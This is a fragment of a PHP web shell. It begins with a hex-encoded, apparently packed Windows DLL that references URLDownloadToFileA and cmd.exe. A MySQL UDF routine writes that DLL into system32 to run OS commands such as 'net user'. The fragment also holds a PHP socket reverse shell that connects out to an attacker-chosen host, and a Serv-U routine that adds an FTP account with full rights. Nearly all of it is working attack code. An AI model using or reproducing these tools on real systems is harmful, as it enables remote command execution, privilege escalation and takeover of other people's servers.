46BD6A1082F2700C34A7424864635A6A08D355F485A6C9C9232B1458A68B14C18D147EFF317208321008B7510C700B50156B0802BEF4937A05BFFDFA0AE80382275448A50014080FA22FE84AE1B2FFFD274250FB6D2F68292610425FF012B3B3256FA068A108816F60BD5EBCE0C6E6FA11124CB46401CEB43F2B645C61E05044044DAF683D6DCFD5B1918881E4665207409090870ACF5F20975CC750348C34A66FF9A5AA946B5674EB5E003F0BE66442B052787A281993117C8BC15CE169739FF02FB0885FA5AD0B8225C75C8DA922C7FE1C6AD02752541397D6D0D807801228D86257A6BE31D8BC2EBA3080CF0DB770416180F94C28905D1EB8BD34B88F6EF02F30E4388C6065C46B16AADAE355980A74A4693682E4C67168A3F863D1306ACDBE32E2819E2061F7303C2091B0F400315016B43F850BF38A0300F0E95A9E1EE6EC70383278E140246DDD1306449258F9C5378446DA830D4E06CF633141A8DCD4D04D50E0B49180F407B7B21892858CC428BC6D047F317EA10C700CE1B02433A45DBACA33CE581430C3F27C2BDDD5A3766391E6AEB4040081875F96DFC419F06F22BC6CFCCD1F88E40DA2A5AA3025D038A345852EB0DCCE83BEBAC3213B75683C9AC1C55508D3A57D05C242521D20C10CAB56A90275C2703F6756B0C92C888EB53624CA54A0592B985B1566089DFF6858D740A40387BFB04F62B223760495B6A55CE03F6EB727180A50BBA560F91E248D0CEBAC4BA9E5D5B20070261ED572A381026E821681A536C106A7450A213FF153A152B3859450C163A448330D4653B5BB95BD0D7EC084144F77CF0DE6889F134F18E033B961ACCC230B7471C2A6C45E8F75437E9700D10D77AFA75037A08B60BF18F5CBD59A522560055016B47C1BA30131750E0506DD65B3A3B591257D9BD07A8D6D90B3040963C76291950BBFDBE7076F80D838D6A0303F841DC5739B99D10B3105560FFC05D36763610570C7C1DBC7D36EB9E10FFB6D3C41611681020F8F6B9ACA927945450592C5FEB26165A6C81A38D30C7F23612B1DD0482086AF4D56CC881110FD85EC90E40C128265325F34226D911163C8B14C0012B0C8329EB2D3983D71C90A756F6DC784CC8D5EB7438B125213EF950E99ECEF2B2D61C11A9AEA880643C287BEEFD8DAD8AD73D63F3831881D51404B03582AFB210EA02F01B61E0594E3EE9B3B68D4B38F7881CB50C80F4C025622BC08B03317E30641C5E45AB0EE3A24C96880D535B24C67C80066F04368EC1F10C5229231AE3AEF90F86EAA0ECF1EE5BD5416E2BB64D1073290AD62EB045A58A95F90A7409FFDEBED0F02B0D408808EFC88D95292BCA81F9883D3655127CCC8911DBE3393ABFF4130D6B71FF85A061C634300C6343065FB6F6D20145E8C77C0B0964454510728A9960E96DD98B134E90464868B5BF8B74626A055E39B51D177F2126FC8930EB41B456EBC78D4DF4575CE6BA01B310FF43640B2EBB51CED14FEBA72C9C1EDA241C06E02C9720405AE8A015F52CEA1A10AA6C4FF24D666E1C38EBD2A4F007458258DF02F1B516CC808C6E6DFDFEAD068E6583490C08C741181BEB1103CEDDC80C494114181276D4525CA25E83618A011AE0188DF93B377203DCC883E17018AF362C368AD1A1D81C331340E58CC009FC7591345730E486E0D55BE159519130D716D76A138E1DB69AE51E5B00DE3FB41B155A22DD0CF3A00AE11ABC7A1EFBD82BD7246046735A732844BF5A020BA68FCC6C5DA0702B700C66C8077739D80A6DA14BDD581A58B26575F1A436CF51A08B84600C33C2CFBD1A506820CF118FDC6DCCCC208C4106F80E3A2AD716B6195F41CC00CDFB55B88A6D180B7718CFE8BA37C2F72AF18BD8090C07D31139A050D60C3215FCFFCF4913D1E9D1DBD1EAD1D80BC975F4F7F3B014B9B684643D2150F7EDEEBB2F7DD1720E3B27770872073B2B76014E4C4B56D84A7FDEC27F6F2A0E7AB3D96E506EA833B6517405C203506E10DD66C85E0C156EC814910410BA37CD606B0C0E0876082BBB1B406CA6DB11140708BDDA264103BB27DA007C3F26A8742AA6443D71A376E9C18BD1783BFE3DEF0F82800E036A738314ED6F4BDC8183E2EEF95E29F3A5FF249513A9F1DFD6426811BA1C83E904720C0CB136DB8F62C86D41801E8D789075F3B9C70741FC900403BCE023D173DB852F1188078A46BE470105025608938C2D5B59C6C75CCC8D96652CD949002B25010202EBCE2679A690234621473F5DD70DE48C065F034C0744374DD3343C342C241C8B44344DD3FC8EE489448FE4E8E8ECECD3344DD3F0F0F4F4F8CD39324DF8FCBDD7007B87B01027F809FFF00305399AA6808CA0BC6C36B0D766909D0BF91133240417A30D0A2BB8555B0D2531C639FCD8F692417F240DFDE3FC77823BC2E54400F7D96543B04B8F779E9C1CF92B43082CC2D6745D900B180338606D033A02F275B76F034E584F56B6B74B08F6971FA3EE02EF026FD9807C298C902724E3952D09AB2D03AE45EB1666625A955B7FB403A6699AA6BCC4CCD4DCA6691A9AE4F7971C1C189AA6699A18141410100C699AA6690C08080404A6EB0E231F05100318E05A129A283C8BB7B56C21CC96870F8313112A210CB700ACE86FE2570FAFAE83FEE08BDE770D0000EC1A0C2715773A7256B4D59382AB1D3D530256F057752B566A082A898850D71C14229893820F56741956947414EBA96A72A31644577C54EC8157B40E5BEB56D5612ED4230603EE265D565698182B52F7616904FC8AAEFF41BE0D50BCC5273ADC3701435C147C29985047568D7C07FB2D162BF90CAD240600473B5B290E2B1E7CA55E90C3B6CA11C56056821834BFA3A546088B87803B08742246C2ED46D988E80713720FF9240A606106817D0D4C02DB6E8350F531845E39C3D9AC60B6DDBC17721507CA532C1EB22D19080C16334BA55C1DE660080C7BD27502BD40DF1283CFDEDBE158EC22C90314BD737500A20F08B1443C998A74F6466221F816F87544837E5F23E886DE04FD0C958D460CFE1EC413ABFF4620ED8D5E0C70F61B090D803874180C84884388239F4500C3A585BF2D50DDE52B116A245999F7F9D1F03DD4A80336C66D2983FA3BF137EF2083C5044381FD5FA40F8C5E3984F86E23EB4EBE3E56B93E126F843E8D0C9DA9901E9C5F8684F83BC27318C01103D6EBE48D0815EAC1E30543C70B2256C9A012346C430BFCFE07563B0D535773F7C1903683D0C93CC18F07833C50B0DA28E4361AF51B053E1E751EE28B104974084958DEDE680284F4EB0804F5EB03F6A337DE4600E836891C308A5BEB161EE4C2DA027F7B5882864329F459376A830037C674320E1F5AC9F31CD6CA7E50505031C85A7B830CB2247ED4CAE264CF731FCCA3AD8D8800AB740F00E16AD8580841533AFDECA4963B343D1C063CC0C1E7154A81B1BCF749D418C5604B9E381780360CB2AD2C98248184E169CA5190C61D5642D4920179728BC3C36C8BB1E14E4152530411590F250306F029535DEC60B404CBF0F6D915B7B10211B0FF0336E4106AC0A359B43809F2A22CDEB43F4AA87BF6F30549C0FF4AB890073C9013082CBAAED003FC0C203F087900724AA84AA8A6E9BAD83F069F038C848BA6699A7C746C645C3F5D3B8F004AA8F003C00164D134CCE03F39859CE44C404BF04B4845D375DD2C900B580378A03C0239903F4C404C405D171B855B7FF403FC344DD3750E04030C141C24871160D1373F1F164DD37505500358687C3FAB2F4A003E1CCCA0022F907956F6C112883F1594D9815DE874095900FE37ABC645FF10EB0B8065FF8DECFC0FC0861A806811F6C540750839B72F455328E48B4DFF806A83C15E02056083236DC3DE2374001680E1A4C3F96C01175510100840EB07F60D4A30797FF810742604ADB7F2F220741830740A5074897505216A16A21521020C2ABD7CDF060389F0BA00077D0423CABF54B47F037D3BC87F31742A3BCB43C3ED4AB06D195433744D0739BA91AD85CC43F84C0804BAA67B7B435AF8EB3E26052F070643CE806F1E3BCA7423C2163CDD1188188F4F5B3B0507E69EE00113FDBEFEFF32FC5DF4C77413368E54F7D1234D143737B8DB1172A840C581CE1F0FF601F6ED63DBB7C4DE020BF7A8DF081408EB0AA8115D2CBDB1060B1068ADD8233BD39241E0DF751AE918016D0D8231816ABFB78D0A9E2DA82BCEF008022D6030EA3BAC39BF4213628561325256E8B383459875090A18EBD8D583F9B19A4DFF40EB09AF08146C410F78473159812781D6C68A11C380C901C630045A8452C9C2DD05BEFF0B48884CBD7578EA7473F606818116F502746D8B945DA2220B1E8B067519FC35008FBE813883E94B1D2A1759D888B60DBCEB584213E2137C677E2511335669A116807D131A11825F178CF015554445E2811980C73E5A74B52DD81C2EAF737808AB60072DDC07808B8C4E8BF390E005C916713F8005431467736A081E8233918B09570441464E600F3B32B24C245B231A0EF2F2B64D79D50D04FEEB08FDEB03F4C11A824C0C5F198A1141AA1EEC1BF16488174762EEEB05838C00F0D32401119C2CCBC983C1E134271208006DCC6AC738682DD9D2D96608C6C3000C085DC049B38807CA185A1965872312F52A65520945A9F88959AC913859A6E80AB82C06F651FAD756F29B6A0A8FD2268988391874744617CAE630428A78A9E850538B58DA71F0D73BC6CC214D628386A240C893715963FF25DAE2BF94603975E8F3ABAA895D0F6C16E8D386EBD77DEEB8BC4DEFDD405B2B04D30CAFCBB641FFE87BA312CA300F87942588CD546C9CD28DEEE356F7E58D614F6F52F3AB04AA8D9E94FA52A15498BCB6DE2C8A5101E84B51844B5CFA3BC777B7EFEE2D68FC8A922080089047401376F5F84BB1F04141803965D47983C308837DFC6913B93638C1E2C8914CBA6DA087F750A3A4105384898C2AB8BFDF709140A5A559A3D1A5EB5240D1B3A660810547A8C6A19EC57EF508403DFF07F153382B89357BDF06F15335250700BA49F88816ADAB00981EA84C97DFE75E2E8604AFE9508301D08C4311946FA857DA70EF65402DDFFE01A8946CBBE78FA8FF1570F814FD9635D1CBF4FC750F87DC19F6AE1CC7492DA463E7E804741704D7A628F00D740C802CB804F93CCF763605120B0811578460862571BEC01F88E1625F044CE5CF52B1404522283456A166B453962215127FE081E016CFBE8C888405ECDF7FA1150D8AC672F48A45F2C6850D20166E104D3B375A55F3B80A2D415FA0183BC1771D48BC3A08768F2A41B820008BD9CBAB6B81FA47AA42428A42FF84C15FF8EC352C900EFA8B358D7A029A33D0213989B2EF8C7DDD5A9123FD1D561E9291DD6C5634235842FCAD803DB8682E2768002E7DB75CCA8D8D726695F6C2CDEF67341503108A940564889060EFCEC9DBEB1C1A027410205BEBE380A06E6834781CDE4400BFEB491ADB0D1315DA417219045AB2BC8DFDC34BC880C1208888491F1D617213C3DE9CBC7A770E20E920EBE04C77F915774ABE5EC97394886AFDA90210F970505C59FC94882F1FD575798FAC426866281854FAF7403D6709FC161C57FFD664BEDB29FA297450100CC7D7BE5DA0F85714B00C06B45B99A0BB88CD16FFD0D602DEE66BED10B405531104EE1590601D4D0AC00982FA8659A057040481282056B064F0BB470B0C85965E91F983FA982DE9ED6A47C025152BD16075FA9AEF10D06D020610CA1A251C8E1D1429168F58A6EB3A06234AE2EB8807351E94CC5289365A271ACF0D56AF1235140FCBFFE1C3A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; +} + +function Mysql_m() +{ + extract($_POST); + extract($_GET); + $mysql_hostname = $mysql_hostname?$mysql_hostname : "127.0.0.1"; + $mysql_username = $mysql_username?$mysql_username : "root"; + $post_sql = $post_sql ? $post_sql : "select state(\"net user\")"; + $mysql_dbname = $mysql_dbname ? $mysql_dbname : "mysql"; + if($install){ + $link = mysql_connect ($mysql_hostname,$mysql_username,$mysql_passwd) or die(mysql_error()); + mysql_select_db($mysql_dbname,$link) or die(mysql_error()); + @mysql_query("DROP TABLE udf_temp", $link); + $query="CREATE TABLE udf_temp (udf BLOB);"; + if(!($result=mysql_query($query, $link))) + die('error:create temp table udf_temp error.'.mysql_error()); + else + { + $code=get_code(); + $query="INSERT into udf_temp values (CONVERT($code,CHAR));"; + if(!mysql_query($query, $link)) + { + mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); + die('error:insert DLL error.'.mysql_error()); + } + else + { + $dllname = "mysqlDll.dll"; + if(file_exists("c:\\windows\\system32\\")) $dir="c:\\\\windows\\\\system32\\\\mysqlDll.dll"; + elseif(file_exists("c:\\winnt\\system32\\")) $dir="c:\\\\winnt\\\\system32\\\\mysqlDll.dll"; + + if(file_exists($dir)) { + $time = time(); + $dir = str_replace("mysqlDll","mysqlDll_$time",$dir); + $dllname = str_replace("mysqlDll","mysqlDll_$time",$dllname); + } + $query = "SELECT udf FROM udf_temp INTO DUMPFILE '".$dir."';" ; + if(!mysql_query($query, $link)) + { + die("export dll error:maybe dll is no priv or $dir is exists".mysql_error()); + } + else + { + echo 'install dll success'.$dir.'
                '; + } + } + mysql_query('DROP TABLE udf_temp', $link) or die(mysql_error()); + $result = mysql_query("Create Function state returns string soname '$dllname'", $link) or die(mysql_error()); + if($result) { + echo "install success
                back"; + exit(); + } + } +} +?> +


                +
                Host: +User: +Password: +DB: +   +
                +
                +sql statement:
                + +

                + +
                back screen:
                + +
                + + +

                + +
                reverse cmdshell with php socket;
                the extension php_sockets should be openned;
                please check phpinfo();
                code by Maple-X

                +
                +

                Host:   +Port:  

                +Linux +Win   + + + + +eof; +echo '

                '; +} +if($system=="WIN") +{ + $env=array('path' => 'c:\\windows\\system32'); +}else{ + $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); +} +$descriptorspec = array( + 0 => array("pipe","r"), + 1 => array("pipe","w"), + 2 => array("pipe","w"), + ); +$host=gethostbyname($host); +$proto=getprotobyname("tcp"); +if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0) +{ + die("Socket Create Faile"); +} +if(($ret=socket_connect($sock,$host,$port))<0) +{ + die("Connect Faile"); +}else{ +$message="----------------------PHP Connect-Back--------------------\n"; +socket_write($sock,$message,strlen($message)); +$cwd=str_replace('\\','/',dirname(__FILE__)); +while($cmd=socket_read($sock,65535,$proto)) + { + if(trim(strtolower($cmd))=="exit") + { + socket_write($sock,"Bye Bye\n"); + exit; + }else{ + +$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); +if (is_resource($process)) { + fwrite($pipes[0], $cmd); + fclose($pipes[0]); + + $msg=stream_get_contents($pipes[1]); + socket_write($sock,$msg,strlen($msg)); + fclose($pipes[1]); + + $msg=stream_get_contents($pipes[2]); + socket_write($sock,$msg,strlen($msg)); + $return_value = proc_close($process); +} + } +} +} + + } +//serv-u +function su() +{ + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[Exec Command] [Add User]
                +
                +
                SU_Port
                +
                SU_User
                +
                SU_Pass
                +END; +if($_GET['o'] == 'adduser') +{ +print<<Username +Password +Directory +END; +} +else +{ +print<<Command
                + + + +END; +} +echo '
                '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
                '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + 